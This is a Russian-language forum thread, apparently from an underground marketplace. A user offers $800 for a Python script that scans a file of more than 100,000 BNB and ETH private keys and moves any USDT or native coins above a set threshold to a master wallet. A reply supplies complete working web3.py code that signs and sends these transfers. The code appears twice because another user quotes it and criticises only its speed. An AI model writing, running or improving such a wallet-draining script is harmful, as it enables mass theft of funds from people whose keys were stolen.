Написать скрипт автослива в BNB

В этой теме можно использовать автоматический гарант!

scoring0

root@serv1:#
Premium
Регистрация
06.08.2019
Сообщения
179
Реакции
51
Депозит
0.00
Цена
800
Контакты
пм
Нужен скрипт на python.
Входные данные:
1) привкей (master_wallet), на котором лежат BNB для раскидки комсы.
2) файл с привкеями сети BNB (100.000+ шт) (так-же требуется для ETH)
3) адрес токена, который чекать + abi. (для тестов вставить сюда адрес USDT в сети BSC)
4) переменная баланса токена, от N которого сливать. т.ч. если выставлено 1000.1, то он сливает с коша, только если на нем баланс от 1000.1 ВКЛЮЧИТЕЛЬНО, остальные пропускает.

Скрипт БЫСТРО чекает всю базу привкеев на количество указанного токена в цикле и если видит, что на балансе имеется токен от количества N, указанного в переменной (4), то он сливает этот токен на master_wallet (1).
Скрипт должен уметь работать в сетях BSC\ETH, либо это должно быть два скрипта для разных сетей.
Так-же должен быть режим слива чисто нативного токена сетей BNB \ ETH.

Бюджет 800$.
Работаю через гаранта xss, либо скрипт вперед, чекаю его сутки в рабочем режиме и выдаю кэш.

Контакт ПМ.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
pip install web3 eth_account

Python:
import json
import time
from web3 import Web3
from eth_account import Account

# Настройки
RPC_URL = 'https://bsc-dataseed.binance.org/'  # RPC URL для BSC. Для Ethereum используйте соответствующий RPC.
web3 = Web3(Web3.HTTPProvider(RPC_URL))
master_wallet = "ваш_master_wallet_адрес"
master_private_key = "ваш_master_wallet_private_key"

# ABI для USDT контракта
with open("usdt_abi.json") as f:
    token_abi = json.load(f)

token_address = Web3.toChecksumAddress('0x55d398326f99059ff775485246999027b3197955')  # Адрес USDT на BSC
token_contract = web3.eth.contract(address=token_address, abi=token_abi)

# Лимит баланса для слива
balance_limit = 1000.1

# Комиссия
gas_limit = 200000
gas_price = web3.eth.gas_price

# Функция получения баланса токена
def get_token_balance(wallet_address):
    wallet_address = Web3.toChecksumAddress(wallet_address)
    balance = token_contract.functions.balanceOf(wallet_address).call()
    return web3.fromWei(balance, 'ether')

# Функция для отправки токенов на master_wallet
def send_token(private_key, wallet_address, amount):
    wallet_address = Web3.toChecksumAddress(wallet_address)
    nonce = web3.eth.getTransactionCount(wallet_address)
    
    tx = token_contract.functions.transfer(
        master_wallet,
        web3.toWei(amount, 'ether')
    ).buildTransaction({
        'from': wallet_address,
        'gas': gas_limit,
        'gasPrice': gas_price,
        'nonce': nonce
    })

    signed_tx = web3.eth.account.sign_transaction(tx, private_key)
    tx_hash = web3.eth.sendRawTransaction(signed_tx.rawTransaction)
    
    print(f"Отправка {amount} токенов с {wallet_address}. Транзакция: {web3.toHex(tx_hash)}")

# Функция для отправки нативного токена (BNB/ETH) на master_wallet
def send_native_token(private_key, wallet_address, amount):
    wallet_address = Web3.toChecksumAddress(wallet_address)
    nonce = web3.eth.getTransactionCount(wallet_address)

    tx = {
        'nonce': nonce,
        'to': master_wallet,
        'value': web3.toWei(amount, 'ether'),
        'gas': gas_limit,
        'gasPrice': gas_price
    }

    signed_tx = web3.eth.account.sign_transaction(tx, private_key)
    tx_hash = web3.eth.sendRawTransaction(signed_tx.rawTransaction)

    print(f"Отправка {amount} BNB/ETH с {wallet_address}. Транзакция: {web3.toHex(tx_hash)}")

# Функция обработки приватного ключа
def process_wallet(private_key):
    try:
        account = Account.from_key(private_key)
        wallet_address = account.address

        # Проверка баланса токена
        token_balance = get_token_balance(wallet_address)
        if token_balance >= balance_limit:
            send_token(private_key, wallet_address, token_balance)
        
        # Проверка нативного баланса (BNB/ETH)
        native_balance = web3.eth.getBalance(wallet_address)
        if native_balance > web3.toWei(0.01, 'ether'):  # Оставляем немного для газа
            send_native_token(private_key, wallet_address, web3.fromWei(native_balance, 'ether') - 0.01)
    except Exception as e:
        print(f"Ошибка для {private_key}: {e}")

# Основная функция для обработки файла с приватными ключами
def process_private_keys(file_path):
    with open(file_path, 'r') as file:
        private_keys = file.readlines()

    for private_key in private_keys:
        private_key = private_key.strip()
        process_wallet(private_key)
        time.sleep(1)  # Добавляем задержку для предотвращения банов

# Запуск обработки
file_with_private_keys = 'private_keys.txt'  # Файл с приватными ключами
process_private_keys(file_with_private_keys)
 
pip install web3 eth_account

Python:
import json
import time
from web3 import Web3
from eth_account import Account

# Настройки
RPC_URL = 'https://bsc-dataseed.binance.org/'  # RPC URL для BSC. Для Ethereum используйте соответствующий RPC.
web3 = Web3(Web3.HTTPProvider(RPC_URL))
master_wallet = "ваш_master_wallet_адрес"
master_private_key = "ваш_master_wallet_private_key"

# ABI для USDT контракта
with open("usdt_abi.json") as f:
    token_abi = json.load(f)

token_address = Web3.toChecksumAddress('0x55d398326f99059ff775485246999027b3197955')  # Адрес USDT на BSC
token_contract = web3.eth.contract(address=token_address, abi=token_abi)

# Лимит баланса для слива
balance_limit = 1000.1

# Комиссия
gas_limit = 200000
gas_price = web3.eth.gas_price

# Функция получения баланса токена
def get_token_balance(wallet_address):
    wallet_address = Web3.toChecksumAddress(wallet_address)
    balance = token_contract.functions.balanceOf(wallet_address).call()
    return web3.fromWei(balance, 'ether')

# Функция для отправки токенов на master_wallet
def send_token(private_key, wallet_address, amount):
    wallet_address = Web3.toChecksumAddress(wallet_address)
    nonce = web3.eth.getTransactionCount(wallet_address)
   
    tx = token_contract.functions.transfer(
        master_wallet,
        web3.toWei(amount, 'ether')
    ).buildTransaction({
        'from': wallet_address,
        'gas': gas_limit,
        'gasPrice': gas_price,
        'nonce': nonce
    })

    signed_tx = web3.eth.account.sign_transaction(tx, private_key)
    tx_hash = web3.eth.sendRawTransaction(signed_tx.rawTransaction)
   
    print(f"Отправка {amount} токенов с {wallet_address}. Транзакция: {web3.toHex(tx_hash)}")

# Функция для отправки нативного токена (BNB/ETH) на master_wallet
def send_native_token(private_key, wallet_address, amount):
    wallet_address = Web3.toChecksumAddress(wallet_address)
    nonce = web3.eth.getTransactionCount(wallet_address)

    tx = {
        'nonce': nonce,
        'to': master_wallet,
        'value': web3.toWei(amount, 'ether'),
        'gas': gas_limit,
        'gasPrice': gas_price
    }

    signed_tx = web3.eth.account.sign_transaction(tx, private_key)
    tx_hash = web3.eth.sendRawTransaction(signed_tx.rawTransaction)

    print(f"Отправка {amount} BNB/ETH с {wallet_address}. Транзакция: {web3.toHex(tx_hash)}")

# Функция обработки приватного ключа
def process_wallet(private_key):
    try:
        account = Account.from_key(private_key)
        wallet_address = account.address

        # Проверка баланса токена
        token_balance = get_token_balance(wallet_address)
        if token_balance >= balance_limit:
            send_token(private_key, wallet_address, token_balance)
       
        # Проверка нативного баланса (BNB/ETH)
        native_balance = web3.eth.getBalance(wallet_address)
        if native_balance > web3.toWei(0.01, 'ether'):  # Оставляем немного для газа
            send_native_token(private_key, wallet_address, web3.fromWei(native_balance, 'ether') - 0.01)
    except Exception as e:
        print(f"Ошибка для {private_key}: {e}")

# Основная функция для обработки файла с приватными ключами
def process_private_keys(file_path):
    with open(file_path, 'r') as file:
        private_keys = file.readlines()

    for private_key in private_keys:
        private_key = private_key.strip()
        process_wallet(private_key)
        time.sleep(1)  # Добавляем задержку для предотвращения банов

# Запуск обработки
file_with_private_keys = 'private_keys.txt'  # Файл с приватными ключами
process_private_keys(file_with_private_keys)
Это если и будет работать, то очень медленно.
100к+ кошей порвут память в моменте ))
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Это если и будет работать, то очень медленно.
100к+ кошей порвут память в моменте ))
мало ли кто тебе такой код предоставит, чтобы было понимание =)
из добрых позывов оставил, не ради заработать $
 


Напишите ответ...
Верх